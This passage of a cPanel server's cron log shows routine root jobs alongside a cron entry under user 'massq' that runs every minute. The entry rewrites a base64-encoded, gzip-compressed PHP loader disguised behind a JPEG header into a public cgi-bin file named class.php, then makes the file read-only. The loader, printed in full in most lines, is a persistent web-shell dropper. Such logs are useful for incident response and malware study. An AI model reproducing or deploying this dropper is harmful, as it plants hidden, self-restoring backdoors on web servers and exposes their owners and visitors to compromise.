LCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:20:01 server CROND[28729]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 16:20:01 server CROND[28730]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 16:20:01 server CROND[28731]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 16:20:01 server CROND[28733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:20:01 server CROND[28735]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 16:21:01 server CROND[28944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:22:01 server CROND[28994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:23:01 server CROND[29057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:24:01 server CROND[29115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:25:01 server CROND[29169]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 16:25:01 server CROND[29170]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 16:25:01 server CROND[29171]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  7 16:25:01 server CROND[29172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:26:01 server CROND[29337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:27:01 server CROND[29429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:27:01 server CROND[29430]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 16:28:01 server CROND[29501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:29:01 server CROND[29578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:30:01 server CROND[29654]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 16:30:01 server CROND[29655]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 16:30:01 server CROND[29656]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr  7 16:30:01 server CROND[29659]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 16:30:01 server CROND[29660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:31:01 server CROND[29771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 16:32:01 server CROND[29933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
